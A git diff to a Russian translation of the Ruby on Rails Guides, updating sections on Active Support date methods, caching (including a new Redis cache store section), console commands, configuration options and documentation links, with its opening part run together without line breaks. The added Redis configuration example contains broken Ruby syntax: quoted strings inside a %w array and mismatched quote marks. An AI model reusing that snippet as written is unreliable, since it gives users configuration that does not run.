`prev_month`, `next_month` - -В Ruby 1.9 `prev_month` и `next_month` возвращает дату с тем же днем в предыдущем или следующем месяце: - -```ruby -d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 -d.prev_month # => Thu, 08 Apr 2010 -d.next_month # => Tue, 08 Jun 2010 -``` - -Если такой день не существует, возвращается последний день соответствующего месяца: - -```ruby -Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000 -Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000 -Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000 -Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000 -``` - -У `prev_month` есть псевдоним `last_month`. - -##### `prev_quarter`, `next_quarter` - -Похожи на `prev_month` и `next_month`. Возвращают дату с тем же днем в предыдущем или следующем квартале: - -```ruby -t = Time.local(2010, 5, 8) # => Sat, 08 May 2010 -t.prev_quarter # => Mon, 08 Feb 2010 -t.next_quarter # => Sun, 08 Aug 2010 -``` - -Если такой день не существует, возвращается последний день соответствующего месяца: - -```ruby -Time.local(2000, 7, 31).prev_quarter # => Sun, 30 Apr 2000 -Time.local(2000, 5, 31).prev_quarter # => Tue, 29 Feb 2000 -Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000 -Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001 -``` - -`prev_quarter` имеет псевдоним `last_quarter`. - ##### `beginning_of_week`, `end_of_week` Методы `beginning_of_week` и `end_of_week` возвращают даты начала и конца недели соответственно. Предполагается, что неделя начинается с понедельника, но это может быть изменено переданным аргументом, установив локально для треда `Date.beginning_of_week` или `config.beginning_of_week`. @@ -3117,6 +3081,8 @@ Date.new(2012, 2, 29).years_ago(3) # => Sat, 28 Feb 2009 Date.new(2012, 2, 29).years_since(3) # => Sat, 28 Feb 2015 ``` +`last_year` это сокращение для `#years_ago(1)`. + ##### `months_ago`, `months_since` Методы `months_ago` и `months_since` работают аналогично, но для месяцев: @@ -3133,6 +3099,8 @@ Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010 Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010 ``` +`last_month` это сокращение для `#months_ago(1)`. + ##### `weeks_ago` Метод `weeks_ago` работает аналогично для недель: @@ -3291,35 +3259,7 @@ WARNING: `DateTime` не знает о правилах DST (переходов NOTE: Все нижеследующие методы определены в `active_support/core_ext/date_time/calculations.rb`. -Класс `DateTime` является подклассом `Date`, поэтому загрузив `active_support/core_ext/date/calculations.rb` вы унаследуете эти методы и их псевдонимы, за исключением того, что они будут всегда возвращать дату и время: - -```ruby -yesterday -tomorrow -beginning_of_week (at_beginning_of_week) -end_of_week (at_end_of_week) -monday -sunday -weeks_ago -prev_week (last_week) -next_week -months_ago -months_since -beginning_of_month (at_beginning_of_month) -end_of_month (at_end_of_month) -prev_month (last_month) -next_month -beginning_of_quarter (at_beginning_of_quarter) -end_of_quarter (at_end_of_quarter) -beginning_of_year (at_beginning_of_year) -end_of_year (at_end_of_year) -years_ago -years_since -prev_year (last_year) -next_year -on_weekday? -on_weekend? -``` +Класс `DateTime` является подклассом `Date`, поэтому загрузив `active_support/core_ext/date/calculations.rb` будут унаследованы эти методы и их псевдонимы, за исключением того, что они будут всегда возвращать дату и время. Следующие методы переопределены, поэтому **не** нужно загружать `active_support/core_ext/date/calculations.rb` для них: @@ -3467,8 +3407,6 @@ DateTime.new(1582, 10, 4, 23) + 1.hour NOTE: Все следующие методы определены в `active_support/core_ext/time/calculations.rb`. -Active Support добавляет к `Time` множество методов, доступных для `DateTime`: - ```ruby past? today? @@ -3480,6 +3418,8 @@ change advance ago since (in) +prev_day +next_day beginning_of_day (midnight, at_midnight, at_beginning_of_day) end_of_day beginning_of_hour (at_beginning_of_hour) @@ -3495,15 +3435,17 @@ months_ago months_since beginning_of_month (at_beginning_of_month) end_of_month (at_end_of_month) -prev_month (last_month) +prev_month next_month +last_month beginning_of_quarter (at_beginning_of_quarter) end_of_quarter (at_end_of_quarter) beginning_of_year (at_beginning_of_year) end_of_year (at_end_of_year) years_ago years_since -prev_year (last_year) +prev_year +last_year next_year on_weekday? on_weekend? @@ -3561,6 +3503,74 @@ now.all_year # => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00 ``` +#### `prev_day`, `next_day` + +В Ruby 1.9 `prev_day` и `next_day` возвращают дату для последнего или следующего дня: + +```ruby +d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 +d.prev_day # => Fri, 07 May 2010 +d.next_day # => Sun, 09 May 2010 +``` + +#### `prev_month`, `next_month` + +В Ruby 1.9 `prev_month` и `next_month` возвращают дату с тем же днем в предыдущем или следующем месяце: + +```ruby +d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 +d.prev_month # => Thu, 08 Apr 2010 +d.next_month # => Tue, 08 Jun 2010 +``` + +Если такой день не существует, возвращается последний день соответствующего месяца: + +```ruby +Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000 +Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000 +Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000 +Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000 +``` + +#### `prev_year`, `next_year` + +В Ruby 1.9 `prev_year` и `next_year` возвращают дату с тем же днем/месяцем в предыдущем или следующем году: + +```ruby +d = Date.new(2010, 5, 8) # => Sat, 08 May 2010 +d.prev_year # => Fri, 08 May 2009 +d.next_year # => Sun, 08 May 2011 +``` + +Если датой является 29 февраля високосного года, возвратится 28-е: + +```ruby +d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000 +d.prev_year # => Sun, 28 Feb 1999 +d.next_year # => Wed, 28 Feb 2001 +``` + +#### `prev_quarter`, `next_quarter` + +`prev_quarter` и `next_quarter` возвращают дату с тем же днем в предыдущем или следующем квартале: + +```ruby +t = Time.local(2010, 5, 8) # => 2010-05-08 00:00:00 0300 +t.prev_quarter # => 2010-02-08 00:00:00 0200 +t.next_quarter # => 2010-08-08 00:00:00 0300 +``` + +Если такой день не существует, возвращается последний день соответствующего месяца: + +```ruby +Time.local(2000, 7, 31).prev_quarter # => 2000-04-30 00:00:00 0300 +Time.local(2000, 5, 31).prev_quarter # => 2000-02-29 00:00:00 0200 +Time.local(2000, 10, 31).prev_quarter # => 2000-07-31 00:00:00 0300 +Time.local(2000, 11, 31).next_quarter # => 2001-03-01 00:00:00 0200 +``` + +`prev_quarter` имеет псевдоним `last_quarter`. + ### Конструкторы Time Active Support определяет `Time.current` как `Time.zone.now`, если у пользователя определена временная зона, а иначе `Time.now`: diff --git a/source/api_app.md b/source/api_app.md index 9d13ff16..83f7e69f 100644 --- a/source/api_app.md +++ b/source/api_app.md @@ -142,7 +142,6 @@ API-приложение поставляется со следующими пр - `Rack::Head` - `Rack::ConditionalGet` - `Rack::ETag` -- `MyApi::Application::Routes` Смотрите раздел по [внутренним промежуточным программам](/rails-on-rack#internal-middleware-stack) руководства по Rack, чтобы узнать подробности о них. @@ -304,7 +303,10 @@ $ bin/rails c Некоторые распространенные модули, которые вы, возможно, захотите добавить: - `AbstractController::Translation`: Поддержка для методов локализации `l` и перевода `t`. -- `ActionController::HttpAuthentication::Basic` (или `Digest`, или `Token`): Поддержка для простой, дайджестной или токенной аутентификация HTTP. +- Поддержка для простой, дайджестной или токенной аутентификация HTTP: + * `ActionController::HttpAuthentication::Basic::ControllerMethods`, + * `ActionController::HttpAuthentication::Digest::ControllerMethods`, + * `ActionController::HttpAuthentication::Token::ControllerMethods` - `ActionView::Layouts`: Поддержка для макетов при рендеринге. - `ActionController::MimeResponds`: Поддержка для `respond_to`. - `ActionController::Cookies`: Поддержка для `cookies`, что включает поддержку для подписанных и зашифрованных куки. Он требует промежуточную программу для куки. diff --git a/source/api_documentation_guidelines.md b/source/api_documentation_guidelines.md index 07e71a2d..c13ae308 100644 --- a/source/api_documentation_guidelines.md +++ b/source/api_documentation_guidelines.md @@ -13,7 +13,7 @@ RDoc ---- -[Документация Rails API](http://api.rubyonrails.org) генерируется с помощью [RDoc](http://docs.seattlerb.org/rdoc/). Чтобы ее сгенерировать, убедитесь, что вы в корневой директории rails, запустите `bundle install` и выполните: +[Документация Rails API](http://api.rubyonrails.org) генерируется с помощью [RDoc](https://ruby.github.io/rdoc/). Чтобы ее сгенерировать, убедитесь, что вы в корневой директории rails, запустите `bundle install` и выполните: ```bash bundle exec rake rdoc @@ -21,7 +21,7 @@ RDoc Итоговые файлы HTML будут в директории ./doc/rdoc. -Обратитесь к документации RDoc за помощью с [разметкой](http://docs.seattlerb.org/rdoc/RDoc/Markup.html), а также примите во внимание эти [дополнительные директивы](http://docs.seattlerb.org/rdoc/RDoc/Parser/Ruby.html). +Обратитесь к документации RDoc за помощью с [разметкой](https://ruby.github.io/rdoc/RDoc/Markup.html), а также примите во внимание эти [дополнительные директивы](https://ruby.github.io/rdoc/RDoc/Parser/Ruby.html). (wording) Формулировки ---------------------- diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md index e250787b..9f675be0 100644 --- a/source/asset_pipeline.md +++ b/source/asset_pipeline.md @@ -30,7 +30,7 @@ gem 'uglifier' gem 'coffee-rails' ``` -Использование опции `--skip-sprockets` предотвратит Rails от их добавления в `Gemfile`, поэтому, если вы позже решите включить файлопровод, будет необходимо добавить эти гемы в Gemfile. Также, создание приложения с опцией `--skip-sprockets` сгенерирует немного иной файл `config/application.rb`, с закомментированным выражением требования sprockets railtie. Необходимо раскомментировать эту строчку, чтобы в дальнейшем включить файлопровод: +Использование опции `--skip-sprockets` предотвратит Rails от их добавления в `Gemfile`, поэтому, если вы позже решите включить файлопровод, будет необходимо добавить эти гемы в `Gemfile`. Также, создание приложения с опцией `--skip-sprockets` сгенерирует немного иной файл `config/application.rb`, с закомментированным выражением требования sprockets railtie. Необходимо раскомментировать эту строчку, чтобы в дальнейшем включить файлопровод: ```ruby # require "sprockets/railtie" @@ -43,7 +43,7 @@ config.assets.css_compressor = :yui config.assets.js_compressor = :uglifier ``` -NOTE: Гем `sass-rails` автоматически используется для сжатия CSS, если он подключен в Gemfile, опцию `config.assets.css_compressor` устанавливать не нужно. +NOTE: Гем `sass-rails` автоматически используется для сжатия CSS, если он подключен в `Gemfile`, опцию `config.assets.css_compressor` устанавливать не нужно. ### Основные особенности diff --git a/source/autoloading_and_reloading_constants.md b/source/autoloading_and_reloading_constants.md index 41c74d97..e1ee0013 100644 --- a/source/autoloading_and_reloading_constants.md +++ b/source/autoloading_and_reloading_constants.md @@ -67,7 +67,7 @@ module XML end ``` -*Вложенность* в любое заданное место — это коллекция из охваченных вложенных объектов класса и модуля для доступа снаружи. Вложенность в любом заданном месте можно просмотреть с помощью `Module.nesting`. Например, в предыдущем примере вложенностью (1) является +*Вложенность* в любое заданное место — это коллекция из внешних вложенных объектов класса и модуля для доступа снаружи. Вложенность в любом заданном месте можно просмотреть с помощью `Module.nesting`. Например, в предыдущем примере вложенностью (1) является ```ruby [XML::SAXParser, XML] @@ -260,10 +260,12 @@ INFO. Начинание с двоеточий делает первый сег `Invoice`, с другой стороны, ограничена `Billing`, и далее нам нужно разрешить ее. Давайте определим, что *parent* будет обозначать этот ограничивающий объект класса или модуля, то есть `Billing` в вышеприведенном примере. Алгоритм для ограниченных констант выполняется так: -1. Константа ищется в parent и его предках. +1. Константа ищется в parent и его предках. В Ruby >= 2.5, `Object` пропускается, если присутствует среди предков. `Kernel` и `BasicObject` все еще проверяются. 2. Если поиск неудачный, в parent вызывается `const_missing`. Реализация по умолчанию для `const_missing` вызывает `NameError`, но может быть переопределена. +INFO. В Ruby < 2.5 `String::Hash` вычисляется как `Hash` и интерпретатор выдает предупреждение: "toplevel constant Hash referenced by String::Hash". Начиная с 2.5, `String::Hash` вызывает `NameError`, потому что `Object` пропускается. + Как видите, этот алгоритм проще, чем для относительных констант. В частности, вложенность не имеет значения, и нет специального случая для модулей, когда у них или их предков нет константы, `Object` **не** проверяется. Автозагрузка Rails **не эмулирует этот алгоритм**, но его отправной точкой является имя константы, которую нужно автоматически загрузить, и parent. Подробнее в главе [Ограниченные ссылки](#qualified-references). @@ -381,6 +383,8 @@ INFO. `autoload_paths` вычисляется и кэшируется на эт ### (Relative References) Относительные ссылки +WARNING. Это доступно только для Ruby < 2.5. + Относительная константная ссылка может появиться в нескольких местах, например, в ```ruby diff --git a/source/caching_with_rails.md b/source/caching_with_rails.md index 62f3c065..05d29698 100644 --- a/source/caching_with_rails.md +++ b/source/caching_with_rails.md @@ -19,7 +19,7 @@ Rails предоставляет набор функций кэшировани Основы кэширования ------------------ -Это введение в три типа техники кэширования: кэширование страницы, экшна и фрагмента. По умолчанию Rails предоставляет кэширование фрагмента. Чтобы использовать кэширование страницы и экшна, нужно добавить `actionpack-page_caching` и `actionpack-action_caching` в свой Gemfile. +Это введение в три типа техники кэширования: кэширование страницы, экшна и фрагмента. По умолчанию Rails предоставляет кэширование фрагмента. Чтобы использовать кэширование страницы и экшна, нужно добавить `actionpack-page_caching` и `actionpack-action_caching` в свой `Gemfile`. По умолчанию кэширование включено только в среде production. Чтобы начать работать с кэшированием локально, нужно включить кэширование в локальной среде, установив `config.action_controller.perform_caching` в `true` в соответствующем файле `config/environments/*.rb`: @@ -290,9 +290,9 @@ NOTE: Альтернативно можно вызвать `ActionController::Ba * `:namespace` - Эта опция может быть использована для создания пространства имен в хранилище кэша. Она особенно полезна, если приложение разделяет кэш с другим приложением. -* `:compress` - Эта опция может быть использована для указания, что в кэше должно быть использовано сжатие. Это особенно полезно для передачи огромных записей кэша по медленной сети. +* `:compress` - Включено по умолчанию. Сжимает записи кэша, поэтому больше данных может храниться в том же объеме памяти, что приводит к меньшему вытеснению кэша и большему проценту попадания в кэш. -* `:compress_threshold` - Эта опция используется в сочетании с опцией `:compress` для указания порога, до которого записи кэша не будут сжиматься. По умолчанию 16 килобайт. +* `:compress_threshold` - По умолчанию 1 Кбайт. Записи кэша, превышающие этот порог, заданные в байтах, сжимаются. * `:expires_in` - Эта опция устанавливает время прекращения в секундах для записи кэша, когда она будет автоматически убрана из кэша. @@ -348,6 +348,36 @@ config.cache_store = :file_store, "/path/to/cache/directory" config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com" ``` +### ActiveSupport::Cache::RedisCacheStore + +В хранилище кэша Redis используется поддержка Redis для вытеснения давно неиспользуемого (LRU) и наименее часто используемого (LFU) ключа при достижении максимальной памяти, что позволяет вести себя так же, как сервер кэша Memcached. + +Примечание по развертыванию: ключи в Redis не истекают по умолчанию, поэтому будьте осторожны при использовании выделенного сервера кэша Redis. Не заполняйте свой постоянный сервер Redis данными волатильного кэша! Подробнее читайте в [руководстве по настройке сервера кэша в Redis](https://redis.io/topics/lru-cache). + +Для кэширующего сервера Redis установите `maxmemory-policy` в политику `allkeys`. +Redis 4+ поддерживает наименее часто используемое (`allkeys-lfu`) вытеснения, отличный выбор по умолчанию. Redis 3 и более ранние должны использовать `allkeys-lru` для давно неиспользуемого вытеснения. + +Установите тайм-ауты чтения и записи кэша относительно небольшими. Заново сгенерировать кэшированное значение зачастую быстрее, чем ожидать более секунды для его получения. Тайм-ауты чтения и записи по умолчанию равны 1 секунде, но могут быть установлены меньше, если сеть будет с постоянно низкой задержкой. + +Кэш читает и записывает никогда не вызывая исключений. Вместо этого он просто возвращает `nil`, ведет себя так, будто в кэше ничего не хранится. Чтобы определить наличие в кэше исключений, можно предоставить `error_handler` для сообщения в службу сбора исключений. Он должен принимать три аргумента из ключевых слов: `method`, метод хранения кэша, который изначально был вызван; `returning`, значение, которое было возвращено пользователю, обычно `nil`; и `exception`, исключение, которое было обработано. + +Объединив все это вместе, хранилище кэша Redis в production может выглядеть примерно так: + +```ruby +cache_servers = %w[ "redis://cache-01:6379/0", "redis://cache-02:6379/0", … ], +config.cache_store = :redis_cache_store, url: cache_servers, + + connect_timeout: 30, # По умолчанию 20 секунд + read_timeout: 0.2, # По умолчанию 1 секунда + write_timeout: 0.2, # По умолчанию 1 секунда + + error_handler: -> (method:, returning:, exception:) { + # Сообщать об ошибках Sentry как предупреждений + Raven.capture_exception exception, level: 'warning", + tags: { method: method, returning: returning } + } +``` + ### ActiveSupport::Cache::NullStore Эта реализация хранилища кэша предполагает использование только в средах development или test, и никогда ничего не хранит. Это может быть полезным при разработке, когда у вас имеется код, взаимодействующий непосредственно с `Rails.cache`, но кэширование может препятствовать способности видеть результат изменений в коде. С помощью этого хранилища кэша все операции `fetch` и `read` приведут к отсутствующему результату. diff --git a/source/command_line.md b/source/command_line.md index bd98678b..e923e297 100644 --- a/source/command_line.md +++ b/source/command_line.md @@ -281,7 +281,7 @@ INFO: Для вызова консоли также можно использо Можно указать среду, в которой должна работать команда `console`. ```bash -$ bin/rails console staging +$ bin/rails console -e staging ``` Если нужно протестировать некоторый код без изменения каких-либо данных, можно это сделать, вызвав `rails console --sandbox`. @@ -650,6 +650,6 @@ development: ... ``` -Это также сгенерирует несколько строчек в нашей конфигурации database.yml, соответствующих нашему выбору PostgreSQL как базы данных. +Это также сгенерирует несколько строчек в нашей конфигурации `database.yml`, соответствующих нашему выбору PostgreSQL как базы данных. NOTE. Единственная хитрость с использованием опции SCM состоит в том, что сначала нужно создать директорию для приложения, затем инициализировать ваш SCM, и лишь затем можно запустить команду `rails new` для генерация основы вашего приложения. diff --git a/source/configuring.md b/source/configuring.md index 50844053..57aa1b59 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -550,6 +550,8 @@ config.middleware.delete Rack::MethodOverride * `config.action_view.form_with_generates_remote_forms` определяет, должны ли `form_with` генерировать remote формы или нет. Это по умолчанию `true`. +* `config.action_view.form_with_generates_ids` определяет, должны ли `form_with` генерировать ids на inputs. Это по умолчанию `true`. + ### (configuring-action-mailer) Конфигурирование Action Mailer Имеется несколько доступных настроек `ActionMailer::Base`: @@ -935,7 +937,7 @@ development: Представим, что у вас есть сервер, отражающий среду production, но используемый только для тестирования. Такой сервер обычно называется "staging server". Для определения среды с именем "staging" для этого сервера, просто создайте файл с именем `config/environments/staging.rb`. В качестве исходного содержимого используйте любой файл, существующий в `config/environments`, а затем сделайте в нем необходимые изменения. -Эта среда ничем не отличается от одной из стандартных, сервер запускается с помощью `rails server -e staging`, консоль с помощью `rails console staging`, работает `Rails.env.staging?`, и т.д. +Эта среда ничем не отличается от одной из стандартных, сервер запускается с помощью `rails server -e staging`, консоль с помощью `rails console -e staging`, работает `Rails.env.staging?`, и т.д. ### (Deploy to a subdirectory relative url root) Деплой в поддиректорию (относительно корневого url) @@ -962,11 +964,11 @@ config.relative_url_root = "/app1" Многие веб-серверы могут быть использованы в качестве прокси сервера для балансировки сторонних элементов, таких как кэширующие сервера или сервера приложений. -Одним из таких серверов приложений является [Unicorn](http://unicorn.bogomips.org/), запущенный за обратным прокси. +Одним из таких серверов приложений является [Unicorn](https://unicorn.bogomips.org/), запущенный за обратным прокси. В этом случае необходимо настроить прокси сервер (NGINX, Apache и т.д.) принимать соединения из вашего сервера приложения (Unicorn). По умолчанию Unicorn будет слушать соединения TCP на 8080 порту, но можно изменить порт, или настроить использование сокетов. -Можно найти подробности в [Unicorn readme](http://unicorn.bogomips.org/README.html) и понять лежащую в основе [философию](http://unicorn.bogomips.org/PHILOSOPHY.html). +Можно найти подробности в [Unicorn readme](https://unicorn.bogomips.org/README.html) и понять лежащую в основе [философию](https://unicorn.bogomips.org/PHILOSOPHY.html). Как только вы настроили сервер приложения, необходимо проксировать запросы к нему, настроив надлежащим образом веб-сервер. Например, ваш конфиг NGINX может включать: @@ -994,7 +996,7 @@ server { } ``` -Прочитайте актуальную информацию в [документации NGINX](http://nginx.org/en/docs/). +Прочитайте актуальную информацию в [документации NGINX](https://nginx.org/en/docs/). Настройка среды Rails --------------------- @@ -1014,7 +1016,7 @@ server { NOTE: Можно использовать подпапки для организации ваших инициализаторов, если нужно, так как Rails смотрит файловую иерархию в целом в папке `initializers` и ниже. -TIP: Если имеется какая-либо зависимость от порядка в ваших инициализаторах, можно контролировать порядок загрузки с помощью именования. Инициализационные файлы загружаются в алфавитном порядке их путей. Например, `01_critical.rb` будет загружен до `02_normal.rb`. +TIP: Хотя Rails поддерживает нумерацию имен файлов инициализации для целей порядка загрузки, лучше всего разместить любой код, который необходимо загрузить в определенном порядке в том же файле. Это уменьшает количество отказов имени файла, делает зависимости более явными и помогает выявить новые концепции в приложении. События инициализации --------------------- @@ -1198,7 +1200,7 @@ development: Каждый новый запрос займет подключение, как только он впервые запросит доступ в базу данных. В конце запроса он освободит подключение. Это означает, что дополнительный слот подключения будет снова доступен для следующего запроса в очереди. -Если попытаться использовать больше соединений, чем доступно, Active Record заблокируется и подождет соединение из пула. Если он не сможет получить соединение, будет вызвана следующая ошибка таймаута. +Если попытаться использовать больше соединений, чем доступно, Active Record заблокируется и подождет соединение из пула. Если он не сможет получить соединение, будет вызвана следующая ошибка тайм-аута. ```ruby ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5.000 seconds (waited 5.000 seconds) diff --git a/source/contributing_to_ruby_on_rails.md b/source/contributing_to_ruby_on_rails.md index 93ade2af..3a1a9a30 100644 --- a/source/contributing_to_ruby_on_rails.md +++ b/source/contributing_to_ruby_on_rails.md @@ -1,5 +1,5 @@ Вносим вклад в Ruby on Rails -============================= +============================ Это руководство раскрывает способы, с помощью которых _ты_ можешь стать частью продолжающейся разработки Ruby on Rails. @@ -485,7 +485,7 @@ comparison". У некоторых контрибьюторов в Rails включены уведомления по email с GitHub, у некоторых нет. Более того, (почти) все, кто работает над Rails, являются добровольцами, поэтому может пройти несколько дней до того, как вы получите первую обратную связь на пул-реквест. Не отчаивайтесь! Иногда это быстро, иногда это медленно. Такова жизнь открытого ПО. -Если прошло больше недели, и никто не ответил, можно попытаться немного ускорить процесс. Для этого используйте [рассылку rubyonrails-core](https://groups.google.com/group/rubyonrails-core). Также можно оставить комментарий в своем пул-реквесте. +Если прошло больше недели, и никто не ответил, можно попытаться немного ускорить процесс. Для этого используйте [рассылку rubyonrails-core](https://groups.google.com/forum/#!forum/rubyonrails-core). Также можно оставить комментарий в своем пул-реквесте. ПОка вы ждете обратную связь на свой пул-реквест, откройте несколько чужих пул-реквестов и дайте обратную связь кому-то еще! Мы уверены, они будут признательны за это не меньше, чем вы были бы признательны за обратную связь на ваши изменения. diff --git a/source/diff.diffrake b/source/diff.diffrake new file mode 100644 index 00000000..e69de29b diff --git a/source/engines.md b/source/engines.md index 05badb7c..9fc608b4 100644 --- a/source/engines.md +++ b/source/engines.md @@ -1092,6 +1092,7 @@ ActiveSupport.on_load(:active_record) { self.include_root_in_json = true } # sel | `ActionController::Base` | `action_controller` | | `ActionController::TestCase` | `action_controller_test_case` | | `ActionDispatch::IntegrationTest` | `action_dispatch_integration_test` | +| `ActionDispatch::SystemTestCase` | `action_dispatch_system_test_case` | | `ActionMailer::Base` | `action_mailer` | | `ActionMailer::TestCase` | `action_mailer_test_case` | | `ActionView::Base` | `action_view` | diff --git a/source/form_helpers.md b/source/form_helpers.md index 1c7ac23d..a9ffd59a 100644 --- a/source/form_helpers.md +++ b/source/form_helpers.md @@ -888,7 +888,7 @@ end ```ruby def new @person = Person.new - 2.times { @person.addresses.build} + 2.times { @person.addresses.build } end ``` diff --git a/source/i18n.md b/source/i18n.md index dd397a9e..86b9efd3 100644 --- a/source/i18n.md +++ b/source/i18n.md @@ -953,7 +953,7 @@ en: body: "There were problems with the following fields:" ``` -NOTE: Чтобы использовать этот хелпер, необходимо установить гем [DynamicForm](https://github.com/joelmoss/dynamic_form), добавив следующую строчку в свой Gemfile: `gem 'dynamic_form'`. +NOTE: Чтобы использовать этот хелпер, необходимо установить гем [DynamicForm](https://github.com/joelmoss/dynamic_form), добавив следующую строчку в свой `Gemfile`: `gem 'dynamic_form'`. ### Перевод для тем писем Action Mailer @@ -1141,21 +1141,21 @@ I18n.t :foo, raise: true # всегда перевызывает исключе С этого момента у вас должно быть хорошее понимание, как работает поддержка I18n в Ruby on Rails, и вы должны быть готовы начать переводить свой проект. -Если хотите обсудить отдельные части или задать вопросы, зарегистрируйтесь в [рассылке rails-i18n](https://groups.google.com/group/rails-i18n). +Если хотите обсудить отдельные части или задать вопросы, зарегистрируйтесь в [рассылке rails-i18n](https://groups.google.com/forum/#!forum/rails-i18n). Вклад в Rails I18n --------------------------- +------------------ Поддержка I18n в Ruby on Rails была представлена в релизе 2.2 и до сих пор развивается. Проект следует хорошим традициям разработки Ruby on Rails в виде первоначального развития в виде отдельных гемов и реальных приложений, и только затем извлечения наилучших широко используемых особенностей для включения в ядро. -Поэтому каждый поощряется экспериментировать с новыми идеями и особенностями в гемах или других библиотеках и делать их доступными сообществу. (Не забудьте анонсировать свою работу в [рассылке](https://groups.google.com/group/rails-i18n)!) +Поэтому каждый поощряется экспериментировать с новыми идеями и особенностями в гемах или других библиотеках и делать их доступными сообществу. (Не забудьте анонсировать свою работу в [рассылке](https://groups.google.com/forum/#!forum/rails-i18n)!) Если вы обнаружите, что ваша локаль (язык) отсутствует в [данных примеров переводов](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) репозитория Ruby on Rails, [сделайте _fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) репозитория, добавьте ваши данные и пошлите [pull request](https://help.github.com/articles/about-pull-requests/). Ресурсы ------- -* [Группа Google: rails-i18n](https://groups.google.com/group/rails-i18n) - Рассылка проекта. +* [Группа Google: rails-i18n](https://groups.google.com/forum/#!forum/rails-i18n) - Рассылка проекта. * [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n) - Репозиторий кода и трекер проблем для проекта rails-i18n. Много важного можно найти в [примере переводов](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) для Rails, в большинстве случаев это будет работать и в вашем приложении. * [GitHub: i18n](https://github.com/svenfuchs/i18n) - Репозиторий кода и трекер проблем для гема i18n. diff --git a/source/index.yml b/source/index.yml index 38b38274..953c28eb 100644 --- a/source/index.yml +++ b/source/index.yml @@ -39,8 +39,8 @@ pages: - title: Колбэки Active Record path: active-record-callbacks file: active_record_callbacks.md - revision: 58e971c2d1f89cccda4f7494b30635e041596b31 - date: 16/08/2017 + revision: 17ea5bf80809d11c337a30e4059cab8d8eb00d01 + date: 13/11/2017 - title: Связи Active Record path: active-record-associations @@ -51,8 +51,8 @@ pages: - title: Интерфейс запросов Active Record path: active-record-query-interface file: active_record_querying.md - revision: 4b3ee155f916a60da34c4f3df72b83adc891779e - date: 26/08/2017 + revision: 20bb26a428b84ae4f7b09bec284152325b0334f6 + date: 04/12/2017 - title: Active Record для PostgreSQL path: active-record-postgresql @@ -69,26 +69,26 @@ pages: - title: Обзор Action View path: action-view-overview file: action_view_overview.md - revision: fd416c4336ff46367a05f241430b132e1dae07b9 - date: 31/08/2017 + revision: b6baf0c88411824ce99f1ad4b9de64fa37ad96ea + date: 30/11/2017 - title: Макеты и рендеринг в Rails path: layouts-and-rendering-in-rails file: layouts_and_rendering.md - revision: 521266f913083c3029567ffe647e08e39af7f18a - date: 27/09/2017 + revision: b01cc6663f91e825ffdf862a761e7bfc3d2ffd85 + date: 24/11/2017 - title: Хелперы форм Rails path: rails-form-helpers file: form_helpers.md - revision: c330cc85a7e9fa11be160e810c77a3e1507fb25d - date: 16/09/2017 + revision: 99f6722e86c5451e1334db31a18ae2cbaccb551d + date: 02/12/2017 - title: Обзор Action Controller path: action-controller-overview file: action_controller_overview.md - revision: 4db3449d34cfad338114d00e760bb29f263916db - date: 25/10/2017 + revision: ce180231d954785b8c91ba4f9ba3fc12ff2e0de3 + date: 28/11/2017 - title: Роутинг в Rails path: rails-routing @@ -99,8 +99,8 @@ pages: - title: Расширения ядра Active Support path: active-support-core-extensions file: active_support_core_extensions.md - revision: d86370252ea33c5b6fba2d53efa15b1d0082a487 - date: 24/10/2017 + revision: 97ee3dc788b0f596e182313dd32cb876e01fc2e9 + date: 16/09/2017 - title: Инструметарий Active Support path: active-support-instrumentation @@ -111,8 +111,8 @@ pages: - title: API интернационализации Rails (I18n) path: rails-internationalization-i18n-api file: i18n.md - revision: 9a66a22102db76896f400939165ec92280e092e7 - date: 29/08/2017 + revision: b6baf0c88411824ce99f1ad4b9de64fa37ad96ea + date: 30/11/2017 - title: Основы Action Mailer path: action-mailer-basics @@ -129,14 +129,14 @@ pages: - title: Руководство по тестированию приложений на Rails path: a-guide-to-testing-rails-applications file: testing.md - revision: 906c1d8f59a4c37c8e3e2efe9f6f594aeb597d69 - date: 24/08/2017 + revision: 82b974813b28748e5affcff1d8c4ad60ab2971be + date: 07/12/2017 - title: Руководство Ruby On Rails по безопасности path: ruby-on-rails-security-guide file: security.md - revision: 04a7b7165ad204014c5850f62c921f7291d6ba5d - date: 10/10/2017 + revision: eb6d7d5aa0522ab8d3d6e32d91d8ac645883ee3c + date: 25/11/2017 - title: Отладка приложений на Rails path: debugging-rails-applications @@ -147,56 +147,56 @@ pages: - title: Конфигурирование приложений на Rails path: configuring-rails-applications file: configuring.md - revision: 823c17e4ab6cad89ebb711e6989327be170867e0 - date: 07/10/2017 + revision: 96d17ecba8e374cd1ce4db0cee8c0dca057e3ff7 + date: 30/11/2017 - title: Руководство по командной строке Rails path: a-guide-to-the-rails-command-line file: command_line.md - revision: e42e8319c08188700c5c45a6623ca0067ea1f1ed - date: 20/08/2017 + revision: 07ec810ac0c1425918220921a335ae8a20f82763 + date: 10/11/2017 - title: 'Кэширование с Rails: Обзор' path: caching-with-rails-an-overview file: caching_with_rails.md - revision: 62d547c6a47c45c033597bb744854e5b2f477c7e - date: 18/09/2017 + revision: b6baf0c88411824ce99f1ad4b9de64fa37ad96ea + date: 30/11/2017 - title: Asset 